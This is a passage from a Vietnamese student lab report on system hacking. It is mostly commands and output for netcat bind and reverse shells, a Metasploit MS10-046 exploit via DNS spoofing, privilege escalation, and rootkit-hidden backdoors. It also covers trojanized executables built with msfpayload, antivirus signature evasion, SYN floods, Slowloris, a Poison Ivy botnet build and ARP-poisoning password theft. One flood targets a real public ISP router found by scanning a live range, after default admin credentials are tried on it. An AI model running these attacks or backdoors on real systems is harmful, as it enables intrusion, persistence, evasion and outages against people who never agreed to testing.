Từ một máy Window hoặc Linux sử dụng chương trình netcat kết nối vào IP đang
Listen ở port 4444 :E:netcat>nc.exe -v -n 172.16.30.42 4444172.16.30.42 la IP cua may
cau hinh netcat listen o port 4444
-v: verbose
-n: bo qua tien trinh DNS lookup
Ta thử kiểm tra bằng cách nhập 1 số ký tự trên cả 1 màn hình thì thông điệp này sẽ
được gửi đến máy còn lại
Sử dụng Netcat để truyền file giữa 2 máy
o Victim:C:netcat>nc.exe -lvp 4444 < password.txt
o Attacker :E:netcat>nc.exe -v -n 172.16.30.42 4444 > 1111.txt=> file
password.txt được truyền qua máy attacker và được rename thành 1111.txt
Sử dụng Netcat làm backdoor
o Victim: C:netcat>nc.exe -lvp 4444 -e cmd.exe
-e: thuc thi chuong trinh cmd.exe khi co ket noi di vao
o Attacker thực hiện câu lệnh bên dưới kết nối đến PC 172.16.30.42 và có
được màn hình cmd.exe trên máy windowE:netcat>nc.exe -v -n
172.16.30.42 4444
Sử dụng netcat làm reverse backdoor
o Attacker: ta chỉ cần cấu hình netcat listen ở 1 port nào đóE:netcat>nc.exe -
lvp 5555
Đề Tài : SysTem Hacking 15
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
o Victim: chủ động kết nối đến IP của máy attacker ở port 5555
C:netcat>nc.exe -v 172.16.30.39 5555 -e cmd.exe
3.4 System Hacking
Mô hình như sau :
Mục đích bài lab: ta sẽ thử thực hiện tấn công vào 1 máy Window XP (victim),
sau đó thực hiện upload Netcat Backdoor để điều khiển victim, tiếp tục ta sửdụng công cụ
Rootkit để ẩn đi process của netcat
Máy attacker sử dụng chương trình Metasploit đã được cài đặt sẵn.
3.4.1 Chuẩn bị Metasploit
Dùng lỗi shortcut Ms10-046 để khai thác lỗi, ta sẽ thực hiện như
sau:root@bt:/pentest/exploits/framework3# msfconsole
msf>use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
msf>set payload windows/meterpreter/reverse_tcp
msf exploit(ms10_046_shortcut_icon_dllloader) >set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf exploit(ms10_046_shortcut_icon_dllloader) >set SRVHOST
192.168.1.10
msf exploit(ms10_046_shortcut_icon_dllloader) >exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.10:4444
[*] Send vulnerable clients to 192.168.1.10EPzSUxdEj.
[*] Or, get clients to save and render the icon of http://<your
host>/<anything>.lnk
Đề Tài : SysTem Hacking 16
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
[*] Using URL: http://192.168.1.10:80/
[*] Server started.
Để client connect vào server 192.168.1.0. Ta sẽ sử dụng DNS spoofing
3.4.2 Cấu hình Ettercap DNS Spoofing
Ta cấu hình file etter.dns (/usr/share/ettercap/etter.dns) với IP của trang
www.google.com là IP của attacker 192.168.1.10 bằng cách thêm vào 2 dòng sau
www.google.com A 192.168.1.10
www.google.com PTR 192.168.1.10
Thực hiện quá trình dns spoofing :Ettercap -T -q –M arp:remote –P dns_spoof –i
eth0 /192.168.1.11/ //
Tại máy client nhập vào trang web www.google.com và hiện ra màn hình giống
như bên dưới
3.4.3 Kiểm tra metasploit
Metasploit trả ra cho ta các dòng log như bên dưới
msf exploit(ms10_046_shortcut_icon_dllloader) > [*] Sending UNC
redirect to 192.168.1.11:1655 ...
[*] Sending UNC redirect to 192.168.1.11:1655 ...
[*] Responding to WebDAV OPTIONS request from 192.168.1.11:1660
Đề Tài : SysTem Hacking 17
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
[*] Received WebDAV PROPFIND request from 192.168.1.11:1660
/EPzSUxdEj
[*] Sending 301 for /EPzSUxdEj ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1660
/EPzSUxdEj/
[*] Sending directory multistatus for /EPzSUxdEj/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1660
/EPzSUxdEj
[*] Sending 301 for /EPzSUxdEj ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1660
/EPzSUxdEj/
[*] Sending directory multistatus for /EPzSUxdEj/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1660
/EPzSUxdEj
[*] Sending 301 for /EPzSUxdEj ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1660
/EPzSUxdEj/
[*] Sending directory multistatus for /EPzSUxdEj/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1661
/EPzSUxdEj
[*] Sending 301 for /EPzSUxdEj ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1661
/EPzSUxdEj/
[*] Sending directory multistatus for /EPzSUxdEj/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1663
/EPzSUxdEj
[*] Sending 301 for /EPzSUxdEj ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1663
/EPzSUxdEj/
Đề Tài : SysTem Hacking 18
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
[*] Sending directory multistatus for /EPzSUxdEj/ ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1663
/EPzSUxdEj/desktop.ini
[*] Sending 404 for /EPzSUxdEj/desktop.ini ...
[*] Sending LNK file to 192.168.1.11:1663 ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1663
/EPzSUxdEj/vncuNN.dll.manifest
[*] Sending 404 for /EPzSUxdEj/vncuNN.dll.manifest ...
[*] Sending DLL payload 192.168.1.11:1663 ...
[*] Received WebDAV PROPFIND request from 192.168.1.11:1663
/EPzSUxdEj/vncuNN.dll.123.Manifest
[*] Sending 404 for /EPzSUxdEj/vncuNN.dll.123.Manifest ...
[*] Sending stage (752128 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.10:4444 ->
192.168.1.11:1664) at
2011-07-20 10:22:16 +0700
msf exploit(ms10_046_shortcut_icon_dllloader) >sessions -l
Active sessions
===============
Id Type Information Connection
-- ---- ----------- -----1 meterpreter x86/win32 NHANLD-XPnhanld@
NHANLD-XP 192.168.1.10:4444 -> 192.168.1.11:1664
msf exploit(ms10_046_shortcut_icon_dllloader) >sessions -i 1
[*] Starting interaction with 1...
Kiểm tra một số thông tin của máy victim và nâng quyền
meterpreter>getuid
Server username: NHANLD-XPnhanld
Đề Tài : SysTem Hacking 19
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
meterpreter>getprivs
======================================================
Enabled Process Privileges
======================================================
SeDebugPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
meterpreter>getsystem
...got system (via technique 1).
meterpreter>getuid
Server username: NT AUTHORITYSYSTEM
Đề Tài : SysTem Hacking 20
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
3.4.4 Sử Dụng Netcat làm backdoor và hxdef100 rootkit
Ta chuẩn bi sẵn file nc.exe để upload. File này trong BT5 nằm tại vị trí
/pentest/windows-binaries/tools
meterpreter>pwd
C:DOCUME~1nhanldLOCALS~1Temp
meterpreter>cd C:WINDOWSHelp
meterpreter>mkdir netcat
Creating directory: netcat
meterpreter> cd netcat
meterpreter>pwd
C:WINDOWSHelpnetcat
meterpreter>upload /pentest/windows-binaries/tools/nc.exe .
[*] uploading : /pentest/windows-binaries/tools/nc.exe -> .
[*] uploaded : /pentest/windows-binaries/tools/nc.exe -> .nc.exe
Ta sẽ tạo ra một file nc_scripts.bat có nội dung đơn giản như sau
@echo off
netsh firewall set opmode disable
nc.exe -l -v -p 4444 -e cmd.exe
Tạo ra một file nc_scripts.vbs có nội dung như sau
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "C:WINDOWSHelpnetcatnc_scripts.bat" &
Chr(34), 0
Set WshShell = Nothing
Upload 2 file này vào máy victim
meterpreter>upload /root/Desktop/nc_scripts.bat .
[*] uploading : /root/Desktop/nc_scripts.bat -> .
Đề Tài : SysTem Hacking 21
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
[*] uploaded : /root/Desktop/nc_scripts.bat -> .nc_scripts.bat
meterpreter>upload /root/Desktop/nc_scripts.vbs .
[*] uploading : /root/Desktop/nc_scripts.vbs -> .
[*] uploaded : /root/Desktop/nc_scripts.vbs -> .nc_scripts.vbs
Ta sẽ sử dụng metasploit upload 2 file này folder vào C:WINDOWSHelp
Upload rootkit hxdef100: bao gồm một file cấu hình và một file thực thi
o file cấu hình để ẩn process của chương trình nc.exe và file thực thi của
chương trình
meterpreter>upload /root/Desktop/hxdef100.ini .
[*] uploading : /root/Desktop/hxdef100.ini -> .
[*] uploaded : /root/Desktop/hxdef100.ini -> .hxdef100.ini
meterpreter>upload /root/Desktop/hxdef100.exe .
[*] uploading : /root/Desktop/hxdef100.exe -> .
[*] uploaded : /root/Desktop/hxdef100.exe -> .hxdef100.exe
Start netcat backdoor thông qua nc_scripts.vbs ( start 2 chương trình là nc.exe và
cmd.exe ) và rootkit
meterpreter>shell
Process 2868 created.
Channel 28 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:WINDOWSHelpnetcat>start nc_scripts.vbs
start nc_scripts.vbs
Kiểm tra port và các tiến trình đang hoạt động trong máy bằng lệnh netstat –ano và
tasklist thì ta thấy port và dịch vụ bất thường
Đề Tài : SysTem Hacking 22
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Khởi động rootkit để ẩn process nc.exe và ẩn file thực thi của chương trình netcat
C:WINDOWSHelpnetcat>start hxdef100.exe
start hxdef100.exe
Ta kiểm tra lại process thì thấy tiến trình nc.exe đã được ẩn đi.
Attacker sử dụng chương trình telnet hoặc chương trình netcat để connect điều
khiển máy attacker
root@bt:/opt/framework3/msf3# telnet 192.168.1.11 4444
Trying 192.168.1.11...
Connected to 192.168.1.11.
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
Đề Tài : SysTem Hacking 23
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
C:WINDOWSHelpnetcat>
C:WINDOWSHelpnetcat>
3.4.5 Tạo ra backdoor và upload bằng metasploit
Ta chuẩn bị một file để ghép backdoor vào. Ví dụ ta sử dụng chương trình
notepad.exe
Sử dụng câu lệnh sau để tạo ra backdoor
root@bt:/opt/framework3/msf3# ./msfpayload
windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4455 R |
./msfencode -e x86/shikata_ga_nai -c 3 -t exe –x
/root/Desktop/NOTEPAD.EXE -o /root/Desktop/backdoor_notepad.exe
[*] x86/shikata_ga_nai succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 371 (iteration=3)
Trong metepreter ta có thể sử dụng câu lệnh run scheduleme để upload backdoor
và cho backdoor startup với hệ thống.
meterpreter>run scheduleme –h
o Để hiển thị các giúp đỡ của câu lệnh
meterpreter>run scheduleme -e /root/Desktop/backdoor_notepad.exe -s
[*] Uploading /root/Desktop/backdoor_notepad.exe....
[*] /root/Desktop/backdoor_notepad.exe uploaded!
[*] Scheduling command
C:DOCUME~1nhanldLOCALS~1Tempsvhost72.exe
to run startup.....
[*] The scheduled task has been successfully created
[*] For cleanup run schtasks /delete /tn syscheck15 /F
Lúc này backdoor notepad đã được kích hoạt, ta tiếp tục sử dụng tính năng
multi/handler để chờ đợi kết nối của victim
Đề Tài : SysTem Hacking 24
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
msf exploit(ms10_046_shortcut_icon_dllloader) >use exploit/multi/handler
msf exploit(handler) >set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) >set LHOST 192.168.1.10
msf exploit(handler) >set LPORT 4455
LPORT => 4455
msf exploit(handler) >exploit -j
[*] Exploit running as background job.
Restart lại máy victim, lúc này kết nối mà ta đã sử dụng thông qua lỗi ms10-046
đã bị mất. Sau đó victim tự động tạo ra reverser connection đến máy victim.
msf exploit(handler) >
[*] Sending stage (752128 bytes) to 192.168.1.11
[*] Meterpreter session 3 opened (192.168.1.10:4455 ->
192.168.1.11:1025) at 2011-07-20 12:08:20 +0700
Nếu như ta kiểm tra dịch vụ và các kết nối của máy client thì ta sẽ thấy điều bất
thường ở đây là một dịch vụ lạ xuất hiện
Đề Tài : SysTem Hacking 25
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Chƣơng 4: Virus Worm Trojan
4.1 By Pass Anti Virus
Hầu hết các chương trình chống virus đều nhận dạng file là chương trình độc hại
dựa trên signature database được update thường xuyên
Các công cụ cần thiết cho bài lab. Các công cụ này ta cài đặt trong 1 máy tính
o Dsplit: được sử dụng để cắt các file thành nhiều phần với độ dài tăng
dần.
o Hex Editor: để sử dụng phân tích chương trình và thay đổi các giá
trịtrong file
o Chương trình scan virus để kiểm tra. Trong bài lab này ta sẽ sử dụng
chương trình Avast
o 1 File được các chương AV cảnh báo. Trong bài lab ta sẽ sử dụng
chương trình “Ice Gold Freezer”
o Các công cụ scan virus online ví dụ như trang web www.virustotal.com
Các bƣớc thực hiện :
Ta thử scan file “Ice Gold Freezer” bằng trang web www.virustotal.com thì 24/43
chương trình nhận dạng đây là Malware
Copy source “Ice Gold Freezer” vào folder chứa source chương trình Dsplit ta
thực hiện quá trình cắt file thành các đoạn và sử dụng Avast scan các file này. Thông qua
quá trình này ta sẽ ước lượng được signature nhận virus sẽnằm ở phần nào trong file.
Ta sử dụng Avast scan tất cả các file đã được cắt ra và xác định file nào bắt đầu từ
byte nào thì file bị nhận là Virus
Theo kết quả màn hình ở trên thì từ byte thứ 102000 thì chương trình được nhận là
virus. Ta xóa hết các file đã được cắt nhỏ.
Tiếp tục ta sẽ kiểm tra xem từ byte 101000 đến 102000 thì như thếnào ?Ta sử
dụng khoảng tăng là 100 byte.
Ta scan các file vừa được tạo ra bằng Avast một lần nữa
Kết quả thu được là từ file 101900 đến 102000 được nhận là virus.
Ta tiếp tục phân đoạn từ 101800 đến 101900 với khoảng tăng10 byte và scan lại.
Kết quả thu được là từ file 101820 sẽ được nhận là virus.
Đề Tài : SysTem Hacking 26
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Ta sẽ tiếp tục phân tích từ file 101810 đến 101820 với khoảng tăng là 1 byte như
thế nào ?
Đến đây thì ta đã xác định được byte 101819 được xác định là có virus
Ta sẽ thay đổi giá trị 101819 thành một giá trị khác. Ở đây ta sẽ đánh thêm vào 2
lần phím spacebar. Ta sẽ thấy xuất hiện thêm 2 giá trị hexa là 20 20 trên màn hình.
Sau đó ta thử upload chương trình lên virustotal và kiểm tra kết quả scan ta được
tỷ lệ 7/42 AV nhận đây là virus
4.2 Tạo Trojan bằng Metasploit
Mục đích bài lab: sử dụng công cụ msfpayload và msfencode có trong Metasploit
để tạo ra file Trojan. Ta chuẩn bị file thực thi exe nào đó. Ví dụ như ở đây ta sử dụng
chương trình putty.exe
Sử dụng msfpayload để tạo backdoor. Sau đó ta sử dụng msfencode để by pass
anti virus
Sơ đồ :
Các bƣớc thực hiện:
Đầu tiên ta copy file putty.exe vào trong máy backtrack 5. Ta thực hiện câu lệnh
bên dưới với giá trị LHOST là IP của attacker, LPORT là port mà máy attacker sử dụng
để quản lý kết nối. “ ./msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.234 LPORT=4455 R | ./msfencode -e x86/shikata_ga_nai -c 3 -t exe -
x /root/Desktop/putty.exe -o /root/Desktop/putty_backdoor.exe “
Sau khi tạo xong backdoor bước kế tiếp là làm sao gửi file backdoor này đến
victim. Khởi động dịch vụ apache 2 và kiểm tra download file
Sau khi ta đã chuẩn bị xong mọi thứ ta sử dụng tính năng “exploit/multi/handler”
để quản lý các kết nối từ máy victim đến máy attacker.
msf>use exploit/multi/handler
Đề Tài : SysTem Hacking 27
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
msf exploit(handler) >set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) >set LHOST 192.168.1.234
msf exploit(handler) >set LPORT 4455
LPORT => 4455
msf exploit(handler) >exploit –j
Victim thực thi file putty_backdoor.exe thì tại máy attacker sẽ có được 1 kết nối
điều khiển. Tiếp tục ta nhập vào câu lệnh “run post/windows/escalate/bypassuac” thì
metasploit sẽ tạo ra 1 sessions mới.
Ta kết nối vào sessions số 5 bằng cách nhập vào câu lệnh “background” và
“sessions –l” và “sessions –i 5” .Thông qua kết nối mới ta nhập vào các câu lệnh getprivs,
getsystem, getuid đểta có quyền system với máy victim.
Đề Tài : SysTem Hacking 28
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Chƣơng 5 : DoS DdoS
5.1 Ping of Dealth Attack
Sơ đồ:
Trong hệ điều hành Window để ta có thể sử dụng lệnh “ping IP -t -l 5000” đểping
một destination một cách liên tục
Nếu như bạn muốn mở cùng một lúc 20 cửa sổ Window ping thì ta có thể kết hợp
với câu lệnh For như sau “ For /L %i in (1,1,20) do start ping 192.168.1.254 -t -l 36000 ”
như vậy chương trình sẽ mở ra cùng một lúc 20 cửa sổ window ping liên tục đến IP
192.168.1.254
5.2 Syn Flood Attack
Sơ đồ :
Các bƣớc thực hiện :
Ta sẽ thử thực hiện SYN Flood Attack vào router ADSL. Đầu tiên ta xác định xem
hiện tại đang có bao nhiêu router ADSL đang mở port 80 bằng công cụ Nmap
Giả sử IP Public hiện thời của mình đang là 118.68.226.103, ta sử dụng câu lệnh
“nmap –sS –p 80 118.68.226.1/24 ” để scan . Ta thực hiện scan và xuất ra file là
scan_adsl.txt
Kiểm tra nội dung file scan_adsl.txt và chọn ra một IP để ta làm lab tiếp tục
- Ví dụ trong 1 đoạn file scan_adsl.txt có nội dung như bên dưới nghĩa là IP
118.68.226.7 đang mở port 80
Đề Tài : SysTem Hacking 29
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Nmap scan report for adsl-dynamic-pool-xxx.hcm.fpt.vn (118.68.226.7)
Host is up (0.037s latency).
PORT STATE SERVICE
80/tcp open http
Ta vào trình duyệt web để kiểm tra IP trang web của IP này và thử nhập vào
username: admin và password admin mặc định
Ta sẽ thực hiện syn flood attack vào port 80 trên router ADSL này bằng công cụ
syn-floodalpha1.tar.gz. Ta thực hiện quá trình cài đặt giống như bên dưới.
root@bt:~/Desktop# ls
scan_adsl.txt syn-flood-alpha1.tar.gz
root@bt:~/Desktop# tar -xvf syn-flood-alpha1.tar.gz
syn-flood/
syn-flood/Makefile
syn-flood/gpl.txt
syn-flood/syn-flood.cpp
root@bt:~/Desktop# cd syn-flood
root@bt:~/Desktop/syn-flood# ls
gpl.txt Makefile syn-flood.cpp
root@bt:~/Desktop/syn-flood# make
g++ -O2 -g -Wall -fmessage-length=0 -c -o syn-flood.o syn-flood.cpp
g++ -o syn-flood syn-flood.o
Thực hiện quá trình tấn công bằng câu lệnh bên dưới để gửi ra 100000 gói tin syn
root@bt:~/Desktop/syn-flood# ./syn-flood
Usage: ./syn-flood --ip IP --port PORT [verbose]
-h --help Display this usage information.
-i --ip Destination IP address.
-p --port Destination port.
Đề Tài : SysTem Hacking 30
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
-n --num Number of packets to send.
-v --verbose Print verbose messages.
root@bt:~/Desktop/syn-flood# ./syn-flood -i 118.68.226.7 -p 80 -n
1000000
Sent 1000000 packets.
Ta sử dụng chương trình Wireshark để phân tích quá trình hoạt động của công cụ
này thì thấy chương trình đã gửi ra 100000 gói tin TCP SYN đến victim và router adsl
với IP 118.68.226.7 với các source IP là các IP giả khác nhau.
5.3 Sử Dụng Hping3 thực hiện Syn Flood Attack
Sơ đồ:
Máy victim có IP là 192.168.1.101/24 ( Window XP ) và máy attacker có IP là
192.168.1.100/24 ( Back Track 5 )
Các bƣớc thực hiện:
Đầu tiên ta thực hiện quá trình scan các port đang open của Victim bằng công cụ
Nmap
root@bt:~# nmap -sS 192.168.1.101
PORT STATE SERVICE
139/tcp open netbios-ssn
Tài Liệu Học Hacker Mũ Trắng-AEH Tại ATHENA.GV: Lê Đình Nhân
445/tcp open microsoft-ds
MAC Address: 00:0C:29:9F:87:19 (VMware)
Ta sử dụng hping3 SYN Flood vào port đang mở là 445
Đề Tài : SysTem Hacking 31
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
root@bt:~#man hping3
=> Kiểm tra các thông số của hping3
root@bt:~# hping3 -a 192.168.1.254 -p 445 192.168.1.101 -S -i u100
=>thực hiện SYN FLOOD vào victim có IP là 192.168.1.101
-a giả dạng IP 192.168.1.254
-p ở port 445
-S thực hiện Syn Flood attack
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
--faster alias for -i u1000 (100 packets for second)
--flood sent packets as fast as possible. Don't show replies.
root@bt:~# hping3 -a 192.168.1.254 -p 445 192.168.1.101 -S -i u100 –c
100000
-c nghĩa là count, ta sẽ gửi 100000 đến victim
Tại máy Victim nếu như bị SYN Flood ta kiểm tra trạng thái kết nối bằng lệnh
“netstat -ano” thì thấy xuất hiện rất nhiều kết nối SYN
5.4 PHP DoS
Ta sẽ thực hiện upload source PHP DoS lên một Web Server, và sử dụng server
này để tấn công một server khác.
Đầu tiên ta thực hiện việc upload source vào chương trình PHP DoS vào Web
Server
Đề Tài : SysTem Hacking 32
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Restart lại dịch vụ apache
Ta sử dụng trình duyệt web kết vào trang PHP DoS và thực hiện tấn công vào
victim nào đó
Sau khi attack xong thì chương trình sẽ thống kê lại cho ta số lượng gói tin. –
Sử dụng wireshark để capture lại traffic thì ta sẽ có được hình như bên dưới.
5.5 Apache DoS Slowloris
Slowrist ảnh hưởng đến Web Server Apache 1.x, Apache 2.x, dhttpd, GoAhead
WebServer..còncác web server của Window IIS 6.0, IIS 7.0 thì không ảnh hưởng bởi
công cụ này .
Đề Tài : SysTem Hacking 33
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Download source code chương trình tại trang
http://ha.ckers.org/slowloris/slowloris.pl và tạo thành file có tên là slowloris.pl
Gán cho chương trình có quyền thực thi
Kiểm tra xem chương trình slowloris để ước đoán giá trị timeout .
Thực hiện DoS vào một victim bằng câu lệnh “perl ./slowloris.pl -dns
www.abc.com -timeout 2000 -num 500 -tcpto 5”, ta nên xem thêm trong phần help của
chương trình để biết thêm ý nghĩa của các biến
5.6 Sử Dụng Poison Ivy tạo Botnet
Đầu tiên ta cần phải tạo ra một file Remote Access Trojan và gửi file này đến
victim. Sau khi install, máy victim trở thành zombie bị điều khiển bởi attacker.
Các bƣớc thực hiện :
Decompress chương trình và thực thi file “Poison Ivy”
Click “I Agree”, Sau đó chọn mục “New Server”
Tiếp tục ta chọn tạo ra một New Profile
Ta nhập vào các thông số:
o IP của máy đóng vai trò là server để zombie connect về và port tương ứng.
Mặc định chương trình dùng port 3460. Mặt khác ta có thể tạo ra nhiều
profile khác nhau, mỗi profile tương ứng với 1 port trên máy attacker
o Nhập vào mục ID: ví dụ là server_test
o Password để đăng nhập có thể sử là password dạng static hoặc là sử dụng
“dynamic key”
Đề Tài : SysTem Hacking 34
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
o Tiếp tục click Next ở góc phải màn hình
Tiếp tục chương trình sẽ chuyển qua mục “Install”. Ta nhập vào các thông số sau
o HKLM/Run Name:
o ActiveX Key Name
o Copy File: ta nhập vào với tên có dạng là .exe hoặc là dạng .scr
o Ta có thể chọn dạng Copy to Alternate Data Stream để ẩn file
Click Next chương trình chuyển ở phần Advance. Ta có thể chọn các tính năng
Key logger, Format dạng PE…
Click Next chương trình chuyển qua mục “Build”, ta có thể chuyển icon của file
zombie, Click Generate , xác định vị trí lưu trữ, tên file zombie…
Ở vị trí máy attacker, ta sử dụng tính năng New Client để quản lý các kết nối từ
các zombie, chọn vào tên Profile mà attacker đã tạo.
Chương trình yêu cầu ta phải nhập vào PASSWORD hoặc là ta phải LOAD KEY
tùy thuộc vào phương thức password cấu hình ở trên
Tiếp tục ta thực hiện công việc phát tán file zombie dos_server.exe
Sau khi client kích hoạt file dos_server.exe, ta kiểm tra các kết nối ta thấy xuất
hiện một kết nối
Ta Double-click vào dòng biểu thị cho client, để hiển thị đầy đủ các tác vụ mà
attacker có thểlàm đối với zombie ( tùy thuộc vào cấu hình ban đầu )
5.7 Dos và DdoS bằng công cụ Hyenae
Download chương trình tại http://sourceforge.net/projects/hyenae/files/
Chương trình này cho phép ta thực hiện tấn công DoS và DdoS. Để thực hiện
DdoS ta cần phải install Hyenae daemon trên 1 máy, sau đó sử dụng Hyenae Front End (
giao diện ) hoặc Hyenae ( dòng lệnh để điều khiển )
Trong bài lab này ta sẽ install Hyenae daemon trên máy Window server 2003
(192.168.1.100/24) và sử dụng Window XP (192.168.1.101/24) làm client điều khiển.
Đầu tiên ta cấu hình hyenaed kiểm tra các card trong máy tínhC:>hyenaed.exe -l
o Để kiểm tra các card mạng được nhận trong chương trình
o Giả sử chương trình nhận card Intel Pro/1000 MT được nhận là số 1
Đề Tài : SysTem Hacking 35
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Cấu hình hyenaed.exe lắng nghe trên máy tính server 2003 C:>hyenaed.exe -I 1
-a 192.168.1.100 –p 8888 –u 10000 –k 123abc!!!
-I: card kết nối vào
-a: bind với IP của máy hoạt động chương trình hyenaed
-p: port
-u: số lượng packet gửi cho mỗi lần kết nối
Sử dụng hyenae.exe dạng front end để kết nối. Tuy nhiên chương trình sẽ bị lỗi.
Ta sử dụng câu lệnh bên dưới và thực thi ở giao diện dòng lệnh
Chú ý: thêm vào dấu “+” kết nối giữa 192.168.1.15@8888+123abc!!!
Đề Tài : SysTem Hacking 36
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
Chƣơng 6 : Sniffer
6.1 Cain Abel ARP Poisoning
PC A:boot vào Windows 2003 Server, cài đặt dịch vụ ftpserver
PC C:boot vào Windows 2003 Server
Sơ đồ :
) bằng mật khẩu
PC C dùng công cụ Cain & Abel thực hiện tấn công MITM nhằm đánh cắp mật
khẩ
Các bƣớc thực hiện
o Bước 1: Cài đặt Cain& Abel. Trong quá trình cài đặt đồng thời cài đặt
Winpcap đi kèm theo. Chương trình Winpcap được sử dụng để chuyển card
mạng sang promicious mode
o Bước 2: Từ menu chọn Configure/Sniffer chọn card mạng đang sử dụng nhấn
OK
o Bước 3: Nhấn nút Start Sniffer. Chuyển sang tab Sniffer/Host click chuột phải
chọn Scan MAC Address xác định tất cả các máy trong cùng subnet
o Bước 4: Chuyển sang tab Sniffer/APR nhấn nút Add to list biể
dấu cộng màu xanh. Ở ô bên trái chọn máy A, ô bên phải chọn máy B Click
vào Start APR
o Bước 5: Chuyển sang tab Sniffer/Passwords theo dõi password ftp
o Bước 6: Tại PC B đóng vai trò là victim, thực hiện ftp vào máy A, thì ở màn
hình máy PC C ( attacker ) ta sẽ sniffer được thông số login của PC A
Đề Tài : SysTem Hacking 37
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
6.2 Ettercap DNS Spoofing
Tại máy Backtrack 5 thực hiện ARP Poisoning kết hợp với DNS spoofing. Khi
máy victim nhập vào thông số www.athena.edu.vn thì sẽ hiện ra trang web giả.
Sơ đồ
Các bƣớc thực hiện :
o Bước 1: Cấu hình Web Server trên hệ điều hành Back Track 5. Đầu tiên ta
sẽstart dịch vụ apache2Ta vào trình duyệt web http://localhost để kiểm tra
xem trang web đã dịch vụ đã được start
o Bước 2: Ta cấu hình một trang web có nội dung đơn giản như sau
<html>
<head>
<title>Athena Lab</title>
<head>
<body>
<p align=”center”><b><i>ATHENA DNS SPOOFING LAB</b></i>
<br><br><a
href="http://s675.photobucket.com/albums/vv112/nhanld/?action=view&
amp;current=Athena-ANS.jpg" target="_blank"><img
src="http://i675.photobucket.com/albums/vv112/nhanld/Athena-ANS.jpg"
border="0" alt="Photobucket"></a>
</body>
</html>
o Bước 3: Restart lại service apache2
Đề Tài : SysTem Hacking 38
S i n h v i ê n t h ực h i ệ n : L ê V ă n B ì n h GVHD : Võ Đỗ Thắng
o Bước 4: Kiểm tra nội dung trang web http:/localhost/index.html
o Bước 5: Tấn công bằng công cụ ettercap và dns_spoof plugin. Ta thêmmột
số dòng vào trong file /usr/share/ettercap/etter.dns để thay đổi thông số dns
của client
*.athena.edu.vn A 192.168.1.3
www.athena.edu.vn A 192.168.1.3
tailieu.athena.edu.vn A 192.168.1.3
*.athena.edu.vn PTR 192.168.1.3
www.athena.edu.vn PTR 192.168.1.3
